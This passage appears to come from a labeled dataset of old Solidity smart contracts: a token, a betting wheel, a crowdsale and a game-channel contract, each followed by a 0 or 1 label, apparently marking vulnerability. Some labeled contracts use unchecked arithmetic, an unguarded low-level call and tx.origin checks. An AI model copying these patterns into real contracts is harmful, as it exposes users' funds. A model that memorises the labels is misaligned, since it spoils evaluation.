}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,965 |
pragma solidity ^0.4.21;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract CryptoDuelCoin is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function CryptoDuelCoin() {
balances[msg.sender] = 75000000000000000000000000000;
totalSupply = 75000000000000000000000000000;
name = "CryptoDuelCoin";
decimals = 18;
symbol = "CDC";
unitsOneEthCanBuy = 12500000;
fundsWallet = msg.sender;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 4,278 |
pragma solidity ^0.4.25;
contract WheelOfEther
{
using SafeMath for uint;
Randomizer private rand;
modifier onlyHuman() {
require(tx.origin == msg.sender);
_;
}
modifier gameActive() {
require(gamePaused == false);
_;
}
modifier onlyAdmin(){
require(msg.sender == admin);
_;
}
event onDeposit(
address indexed customer,
uint256 amount,
uint256 balance,
uint256 devFee,
uint timestamp
);
event onWithdraw(
address indexed customer,
uint256 amount,
uint256 balance,
uint timestamp
);
event spinResult(
address indexed customer,
uint256 wheelNumber,
uint256 outcome,
uint256 betAmount,
uint256 returnAmount,
uint256 customerBalance,
uint timestamp
);
address public admin;
uint256 public devBalance = 0;
bool public gamePaused = false;
uint8 private randMin = 1;
uint8 private randMax = 80;
uint256 public minBet = 0.01 ether;
uint256 public maxBet = 10 ether;
uint8[10] public brackets = [1,3,6,12,24,40,56,68,76,80];
uint256 private globalFactor = 10e21;
uint256 constant private constantFactor = 10e21 * 10e21;
mapping(address => uint256) private personalFactor;
mapping(address => uint256) private personalLedger;
constructor() public {
admin = msg.sender;
}
function setRandomizer(address _rand) external onlyAdmin {
rand = Randomizer(_rand);
}
function gamePause() external onlyAdmin {
gamePaused = true;
}
function gameUnpause() external onlyAdmin {
gamePaused = false;
}
function refund(address customer) external onlyAdmin {
uint256 amount = getBalanceOf(customer);
customer.transfer(amount);
personalLedger[customer] = 0;
personalFactor[customer] = constantFactor / globalFactor;
emit onWithdraw(customer, amount, getBalance(), now);
}
function withdrawDevFees() external onlyAdmin {
admin.transfer(devBalance);
devBalance = 0;
}
function getBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function getBalanceOf(address customer) public view returns(uint256 balance) {
return personalLedger[customer].mul(personalFactor[customer]).mul(globalFactor) / constantFactor;
}
function getBalanceMy() public view returns(uint256 balance) {
return getBalanceOf(msg.sender);
}
function betPool(address customer) public view returns(uint256 value) {
return address(this).balance.sub(getBalanceOf(customer)).sub(devBalance);
}
function deposit() public payable onlyHuman gameActive {
address customer = msg.sender;
require(msg.value >= (minBet * 2));
uint256 devFee = msg.value / 50;
devBalance = devBalance.add(devFee);
personalLedger[customer] = getBalanceOf(customer).add(msg.value).sub(devFee);
personalFactor[customer] = constantFactor / globalFactor;
emit onDeposit(customer, msg.value, getBalance(), devFee, now);
}
function withdraw(uint256 amount) public onlyHuman {
address customer = msg.sender;
require(amount > 0);
require(amount <= getBalanceOf(customer));
customer.transfer(amount);
personalLedger[customer] = getBalanceOf(customer).sub(amount);
personalFactor[customer] = constantFactor / globalFactor;
emit onWithdraw(customer, amount, getBalance(), now);
}
function withdrawAll() public onlyHuman {
withdraw(getBalanceOf(msg.sender));
}
function spin(uint256 betAmount) public onlyHuman gameActive returns(uint256 resultNum) {
address customer = msg.sender;
require(betAmount >= minBet);
require(getBalanceOf(customer) >= betAmount);
if (betAmount > maxBet) {
betAmount = maxBet;
}
if (betAmount > betPool(customer) / 10) {
betAmount = betPool(customer) / 10;
}
resultNum = bet(betAmount, customer);
}
function spinAll() public onlyHuman gameActive returns(uint256 resultNum) {
resultNum = spin(getBalanceOf(msg.sender));
}
function spinDeposit() public payable onlyHuman gameActive returns(uint256 resultNum) {
address customer = msg.sender;
uint256 betAmount = msg.value;
require(betAmount >= (minBet * 2));
uint256 devFee = betAmount / 50;
devBalance = devBalance.add(devFee);
betAmount = betAmount.sub(devFee);
personalLedger[customer] = getBalanceOf(customer).add(msg.value).sub(devFee);
personalFactor[customer] = constantFactor / globalFactor;
if (betAmount >= maxBet) {
betAmount = maxBet;
}
if (betAmount > betPool(customer) / 10) {
betAmount = betPool(customer) / 10;
}
resultNum = bet(betAmount, customer);
}
function bet(uint256 betAmount, address customer) private returns(uint256 resultNum) {
resultNum = uint256(rand.getRandomNumber(randMin, randMax + randMin));
uint256 result = determinePrize(resultNum);
uint256 returnAmount;
if (result < 5) {
uint256 winAmount;
if (result == 0) {
winAmount = betAmount.mul(9) / 10;
} else if (result == 1) {
winAmount = betAmount.mul(8) / 10;
} else if (result == 2) {
winAmount = betAmount.mul(7) / 10;
} else if (result == 3) {
winAmount = betAmount.mul(6) / 10;
} else if (result == 4) {
winAmount = betAmount.mul(3) / 10;
}
weGotAWinner(customer, winAmount);
returnAmount = betAmount.add(winAmount);
} else if (result == 5) {
returnAmount = betAmount;
} else {
uint256 lostAmount;
if (result == 6) {
lostAmount = betAmount / 10;
} else if (result == 7) {
lostAmount = betAmount / 4;
} else if (result == 8) {
lostAmount = betAmount / 2;
} else if (result == 9) {
lostAmount = betAmount;
}
goodLuck(customer, lostAmount);
returnAmount = betAmount.sub(lostAmount);
}
uint256 newBalance = getBalanceOf(customer);
emit spinResult(customer, resultNum, result, betAmount, returnAmount, newBalance, now);
return resultNum;
}
function determinePrize(uint256 result) private view returns(uint256 resultNum) {
for (uint8 i = 0; i < 10; i++) {
if (result <= brackets[i]) {
return i;
}
}
}
function goodLuck(address customer, uint256 lostAmount) private {
uint256 customerBalance = getBalanceOf(customer);
uint256 globalIncrease = globalFactor.mul(lostAmount) / betPool(customer);
globalFactor = globalFactor.add(globalIncrease);
personalFactor[customer] = constantFactor / globalFactor;
if (lostAmount > customerBalance) {
lostAmount = customerBalance;
}
personalLedger[customer] = customerBalance.sub(lostAmount);
}
function weGotAWinner(address customer, uint256 winAmount) private {
uint256 customerBalance = getBalanceOf(customer);
uint256 globalDecrease = globalFactor.mul(winAmount) / betPool(customer);
globalFactor = globalFactor.sub(globalDecrease);
personalFactor[customer] = constantFactor / globalFactor;
personalLedger[customer] = customerBalance.add(winAmount);
}
}
contract Randomizer {
function getRandomNumber(int256 min, int256 max) public returns(int256);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,409 |
pragma solidity ^0.4.24;
interface MintableERC20 {
function mint(address _to, uint256 _value) public;
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
view
public
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
view
public
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
onlyOwner
public
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
onlyOwner
public
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract FanCrowdsale is Pausable {
using SafeMath for uint256;
using AddressUtils for address;
uint256 constant COIN = 1 ether;
MintableERC20 public mintableToken;
address public wallet;
Whitelist public whitelist;
struct Stage {
uint tokenAllocated;
uint rate;
}
uint8 public currentStage;
mapping (uint8 => Stage) public stages;
uint8 public totalStages;
uint256 public totalTokensSold;
uint256 public totalWeiRaised;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && !hasClosed());
_;
}
uint256 public totalTokensForSale;
bool public isFinalized = false;
constructor(
address _token,
uint256 _startTime,
uint256 _endTime,
address _wallet,
uint256 _cap) public
{
require(_wallet != address(0), "need a good wallet to store fund");
require(_token != address(0), "token is not deployed?");
require(_endTime > _startTime, "endTime must be greater than startTime");
mintableToken = MintableERC20(_token);
wallet = _wallet;
openingTime = _startTime;
closingTime = _endTime;
totalTokensForSale = _cap;
_initStages();
_setCrowdsaleStage(0);
require(stages[totalStages - 1].tokenAllocated == totalTokensForSale);
}
function () external payable {
purchase(msg.sender);
}
function purchase(address _buyer) public payable whenNotPaused onlyWhileOpen {
contribute(_buyer, msg.value);
}
function contribute(address _buyer, uint256 _weiAmount) internal {
require(_buyer != address(0));
require(!_buyer.isContract());
require(whitelist.whitelist(_buyer));
if (_weiAmount == 0) {
return;
}
require(totalTokensSold < totalTokensForSale);
uint currentRate = stages[currentStage].rate;
uint256 tokensToMint = _weiAmount.mul(currentRate);
uint256 saleableTokens;
uint256 acceptedWei;
if (currentStage == (totalStages - 1) && totalTokensSold.add(tokensToMint) > totalTokensForSale) {
saleableTokens = totalTokensForSale - totalTokensSold;
acceptedWei = saleableTokens.div(currentRate);
_buyTokensInCurrentStage(_buyer, acceptedWei, saleableTokens);
uint256 weiToRefund = _weiAmount.sub(acceptedWei);
_buyer.transfer(weiToRefund);
emit EthRefunded(_buyer, weiToRefund);
} else if (totalTokensSold.add(tokensToMint) < stages[currentStage].tokenAllocated) {
_buyTokensInCurrentStage(_buyer, _weiAmount, tokensToMint);
} else {
saleableTokens = stages[currentStage].tokenAllocated.sub(totalTokensSold);
acceptedWei = saleableTokens.div(currentRate);
_buyTokensInCurrentStage(_buyer, acceptedWei, saleableTokens);
if (totalTokensSold >= stages[currentStage].tokenAllocated && currentStage + 1 < totalStages) {
_setCrowdsaleStage(currentStage + 1);
}
if ( _weiAmount.sub(acceptedWei) > 0)
{
contribute(_buyer, _weiAmount.sub(acceptedWei));
}
}
}
function changeWhitelist(address _newWhitelist) public onlyOwner {
require(_newWhitelist != address(0));
emit WhitelistTransferred(whitelist, _newWhitelist);
whitelist = Whitelist(_newWhitelist);
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime || totalTokensSold >= totalTokensForSale;
}
function extendClosingTime(uint256 _extendToTime) public onlyOwner onlyWhileOpen {
closingTime = _extendToTime;
}
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
emit Finalized();
isFinalized = true;
}
function _setCrowdsaleStage(uint8 _stageId) internal {
require(_stageId >= 0 && _stageId < totalStages);
currentStage = _stageId;
emit StageUp(_stageId);
}
function _initStages() internal {
stages[0] = Stage(25000000 * COIN, 12500);
stages[1] = Stage(stages[0].tokenAllocated + 46000000 * COIN, 11500);
stages[2] = Stage(stages[1].tokenAllocated + 88000000 * COIN, 11000);
stages[3] = Stage(stages[2].tokenAllocated + 105000000 * COIN, 10500);
stages[4] = Stage(stages[3].tokenAllocated + 160000000 * COIN, 10000);
totalStages = 5;
}
function _buyTokensInCurrentStage(address _buyer, uint _weiAmount, uint _tokenAmount) internal {
totalWeiRaised = totalWeiRaised.add(_weiAmount);
totalTokensSold = totalTokensSold.add(_tokenAmount);
mintableToken.mint(_buyer, _tokenAmount);
wallet.transfer(_weiAmount);
emit TokenPurchase(_buyer, _weiAmount, _tokenAmount);
}
function claimTokens(address _token) onlyOwner public {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
emit ClaimedTokens(_token, owner, balance);
}
event StageUp(uint8 stageId);
event EthRefunded(address indexed buyer, uint256 value);
event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount);
event WhitelistTransferred(address indexed previousWhitelist, address indexed newWhitelist);
event ClaimedTokens(address indexed _token, address indexed _to, uint _amount);
event Finalized();
event DLog(uint num, string msg);
} | 0 | 1,621 |
pragma solidity ^0.4.24;
interface ConflictResolutionInterface {
function minHouseStake(uint activeGames) external pure returns(uint);
function maxBalance() external pure returns(int);
function conflictEndFine() external pure returns(int);
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) external pure returns(bool);
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _userSeed
)
external
view
returns(int);
function serverForceGameEnd(
uint8 gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
external
view
returns(int);
function userForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
external
view
returns(int);
}
library MathUtil {
function abs(int _val) internal pure returns(uint) {
if (_val < 0) {
return uint(-_val);
} else {
return uint(_val);
}
}
function max(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 >= _val2 ? _val1 : _val2;
}
function min(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 <= _val2 ? _val1 : _val2;
}
}
contract Ownable {
address public owner;
address public pendingOwner;
event LogOwnerShipTransferred(address indexed previousOwner, address indexed newOwner);
event LogOwnerShipTransferInitiated(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
constructor() public {
owner = msg.sender;
pendingOwner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
pendingOwner = _newOwner;
emit LogOwnerShipTransferInitiated(owner, _newOwner);
}
function claimOwnership() public onlyPendingOwner {
owner = pendingOwner;
pendingOwner = address(0);
emit LogOwnerShipTransferred(owner, pendingOwner);
}
}
contract Activatable is Ownable {
bool public activated = false;
event LogActive();
modifier onlyActivated() {
require(activated);
_;
}
modifier onlyNotActivated() {
require(!activated);
_;
}
function activate() public onlyOwner onlyNotActivated {
activated = true;
emit LogActive();
}
}
contract ConflictResolutionManager is Ownable {
ConflictResolutionInterface public conflictRes;
address public newConflictRes = 0;
uint public updateTime = 0;
uint public constant MIN_TIMEOUT = 3 days;
uint public constant MAX_TIMEOUT = 6 days;
event LogUpdatingConflictResolution(address newConflictResolutionAddress);
event LogUpdatedConflictResolution(address newConflictResolutionAddress);
constructor(address _conflictResAddress) public {
conflictRes = ConflictResolutionInterface(_conflictResAddress);
}
function updateConflictResolution(address _newConflictResAddress) public onlyOwner {
newConflictRes = _newConflictResAddress;
updateTime = block.timestamp;
emit LogUpdatingConflictResolution(_newConflictResAddress);
}
function activateConflictResolution() public onlyOwner {
require(newConflictRes != 0);
require(updateTime != 0);
require(updateTime + MIN_TIMEOUT <= block.timestamp && block.timestamp <= updateTime + MAX_TIMEOUT);
conflictRes = ConflictResolutionInterface(newConflictRes);
newConflictRes = 0;
updateTime = 0;
emit LogUpdatedConflictResolution(newConflictRes);
}
}
contract Pausable is Activatable {
using SafeMath for uint;
bool public paused = true;
uint public timePaused = block.timestamp;
modifier onlyNotPaused() {
require(!paused, "paused");
_;
}
modifier onlyPaused() {
require(paused);
_;
}
modifier onlyPausedSince(uint timeSpan) {
require(paused && (timePaused.add(timeSpan) <= block.timestamp));
_;
}
event LogPause();
event LogUnpause();
function pause() public onlyOwner onlyNotPaused {
paused = true;
timePaused = block.timestamp;
emit LogPause();
}
function unpause() public onlyOwner onlyPaused onlyActivated {
paused = false;
timePaused = 0;
emit LogUnpause();
}
}
contract Destroyable is Pausable {
uint public constant TIMEOUT_DESTROY = 20 days;
function destroy() public onlyOwner onlyPausedSince(TIMEOUT_DESTROY) {
selfdestruct(owner);
}
}
contract GameChannelBase is Destroyable, ConflictResolutionManager {
using SafeCast for int;
using SafeCast for uint;
using SafeMath for int;
using SafeMath for uint;
enum GameStatus {
ENDED,
ACTIVE,
USER_INITIATED_END,
SERVER_INITIATED_END
}
enum ReasonEnded {
REGULAR_ENDED,
SERVER_FORCED_END,
USER_FORCED_END,
CONFLICT_ENDED
}
struct Game {
GameStatus status;
uint128 stake;
uint8 gameType;
uint32 roundId;
uint betNum;
uint betValue;
int balance;
bytes32 userSeed;
bytes32 serverSeed;
uint endInitiatedTime;
}
uint public constant MIN_TRANSFER_TIMESPAN = 1 days;
uint public constant MAX_TRANSFER_TIMSPAN = 6 * 30 days;
bytes32 public constant EIP712DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 public constant BET_TYPEHASH = keccak256(
"Bet(uint32 roundId,uint8 gameType,uint256 number,uint256 value,int256 balance,bytes32 serverHash,bytes32 userHash,uint256 gameId)"
);
bytes32 public DOMAIN_SEPERATOR;
uint public activeGames = 0;
uint public gameIdCntr = 1;
address public serverAddress;
address public houseAddress;
uint public houseStake = 0;
int public houseProfit = 0;
uint128 public minStake;
uint128 public maxStake;
uint public profitTransferTimeSpan = 14 days;
uint public lastProfitTransferTimestamp;
mapping (uint => Game) public gameIdGame;
mapping (address => uint) public userGameId;
mapping (address => uint) public pendingReturns;
modifier onlyValidHouseStake(uint _activeGames) {
uint minHouseStake = conflictRes.minHouseStake(_activeGames);
require(houseStake >= minHouseStake, "inv houseStake");
_;
}
modifier onlyValidValue() {
require(minStake <= msg.value && msg.value <= maxStake, "inv stake");
_;
}
modifier onlyServer() {
require(msg.sender == serverAddress);
_;
}
modifier onlyValidTransferTimeSpan(uint transferTimeout) {
require(transferTimeout >= MIN_TRANSFER_TIMESPAN
&& transferTimeout <= MAX_TRANSFER_TIMSPAN);
_;
}
event LogGameCreated(address indexed user, uint indexed gameId, uint128 stake, bytes32 indexed serverEndHash, bytes32 userEndHash);
event LogUserRequestedEnd(address indexed user, uint indexed gameId);
event LogServerRequestedEnd(address indexed user, uint indexed gameId);
event LogGameEnded(address indexed user, uint indexed gameId, uint32 roundId, int balance, ReasonEnded reason);
event LogStakeLimitsModified(uint minStake, uint maxStake);
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _chainId
)
public
ConflictResolutionManager(_conflictResAddress)
{
require(_minStake > 0 && _minStake <= _maxStake);
serverAddress = _serverAddress;
houseAddress = _houseAddress;
lastProfitTransferTimestamp = block.timestamp;
minStake = _minStake;
maxStake = _maxStake;
DOMAIN_SEPERATOR = keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256("Dicether"),
keccak256("2"),
_chainId,
address(this)
));
}
function setGameIdCntr(uint _gameIdCntr) public onlyOwner onlyNotActivated {
require(gameIdCntr > 0);
gameIdCntr = _gameIdCntr;
}
function withdraw() public {
uint toTransfer = pendingReturns[msg.sender];
require(toTransfer > 0);
pendingReturns[msg.sender] = 0;
msg.sender.transfer(toTransfer);
}
function transferProfitToHouse() public {
require(lastProfitTransferTimestamp.add(profitTransferTimeSpan) <= block.timestamp);
lastProfitTransferTimestamp = block.timestamp;
if (houseProfit <= 0) {
return;
}
uint toTransfer = houseProfit.castToUint();
houseProfit = 0;
houseStake = houseStake.sub(toTransfer);
houseAddress.transfer(toTransfer);
}
function setProfitTransferTimeSpan(uint _profitTransferTimeSpan)
public
onlyOwner
onlyValidTransferTimeSpan(_profitTransferTimeSpan)
{
profitTransferTimeSpan = _profitTransferTimeSpan;
}
function addHouseStake() public payable onlyOwner {
houseStake = houseStake.add(msg.value);
}
function withdrawHouseStake(uint value) public onlyOwner {
uint minHouseStake = conflictRes.minHouseStake(activeGames);
require(value <= houseStake && houseStake.sub(value) >= minHouseStake);
require(houseProfit <= 0 || houseProfit.castToUint() <= houseStake.sub(value));
houseStake = houseStake.sub(value);
owner.transfer(value);
}
function withdrawAll() public onlyOwner onlyPausedSince(3 days) {
houseProfit = 0;
uint toTransfer = houseStake;
houseStake = 0;
owner.transfer(toTransfer);
}
function setHouseAddress(address _houseAddress) public onlyOwner {
houseAddress = _houseAddress;
}
function setStakeRequirements(uint128 _minStake, uint128 _maxStake) public onlyOwner {
require(_minStake > 0 && _minStake <= _maxStake);
minStake = _minStake;
maxStake = _maxStake;
emit LogStakeLimitsModified(minStake, maxStake);
}
function closeGame(
Game storage _game,
uint _gameId,
uint32 _roundId,
address _userAddress,
ReasonEnded _reason,
int _balance
)
internal
{
_game.status = GameStatus.ENDED;
activeGames = activeGames.sub(1);
payOut(_userAddress, _game.stake, _balance);
emit LogGameEnded(_userAddress, _gameId, _roundId, _balance, _reason);
}
function payOut(address _userAddress, uint128 _stake, int _balance) internal {
int stakeInt = _stake;
int houseStakeInt = houseStake.castToInt();
assert(_balance <= conflictRes.maxBalance());
assert((stakeInt.add(_balance)) >= 0);
if (_balance > 0 && houseStakeInt < _balance) {
_balance = houseStakeInt;
}
houseProfit = houseProfit.sub(_balance);
int newHouseStake = houseStakeInt.sub(_balance);
houseStake = newHouseStake.castToUint();
uint valueUser = stakeInt.add(_balance).castToUint();
pendingReturns[_userAddress] += valueUser;
if (pendingReturns[_userAddress] > 0) {
safeSend(_userAddress);
}
}
function safeSend(address _address) internal {
uint valueToSend = pendingReturns[_address];
assert(valueToSend > 0);
pendingReturns[_address] = 0;
if (_address.send(valueToSend) == false) {
pendingReturns[_address] = valueToSend;
}
}
function verifySig(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _sig,
address _address
)
internal
view
{
address contractAddress = this;
require(_contractAddress == contractAddress, "inv contractAddress");
bytes32 roundHash = calcHash(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId
);
verify(
roundHash,
_sig,
_address
);
}
function verify(
bytes32 _hash,
bytes _sig,
address _address
)
internal
pure
{
(bytes32 r, bytes32 s, uint8 v) = signatureSplit(_sig);
address addressRecover = ecrecover(_hash, v, r, s);
require(addressRecover == _address, "inv sig");
}
function calcHash(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId
)
private
view
returns(bytes32)
{
bytes32 betHash = keccak256(abi.encode(
BET_TYPEHASH,
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId
));
return keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPERATOR,
betHash
));
}
function signatureSplit(bytes _signature)
private
pure
returns (bytes32 r, bytes32 s, uint8 v)
{
require(_signature.length == 65, "inv sig");
assembly {
r := mload(add(_signature, 32))
s := mload(add(_signature, 64))
v := and(mload(add(_signature, 65)), 0xff)
}
if (v < 2) {
v = v + 27;
}
}
}
contract GameChannelConflict is GameChannelBase {
using SafeCast for int;
using SafeCast for uint;
using SafeMath for int;
using SafeMath for uint;
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _chainId
)
public
GameChannelBase(_serverAddress, _minStake, _maxStake, _conflictResAddress, _houseAddress, _chainId)
{
}
function serverEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _userSig,
address _userAddress,
bytes32 _serverSeed,
bytes32 _userSeed
)
public
onlyServer
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_userSig,
_userAddress
);
serverEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_serverSeed,
_userSeed,
_gameId,
_userAddress
);
}
function userEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _serverSig,
bytes32 _userSeed
)
public
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_serverSig,
serverAddress
);
userEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_userHash,
_userSeed,
_gameId,
msg.sender
);
}
function userCancelActiveGame(uint _gameId) public {
address userAddress = msg.sender;
uint gameId = userGameId[userAddress];
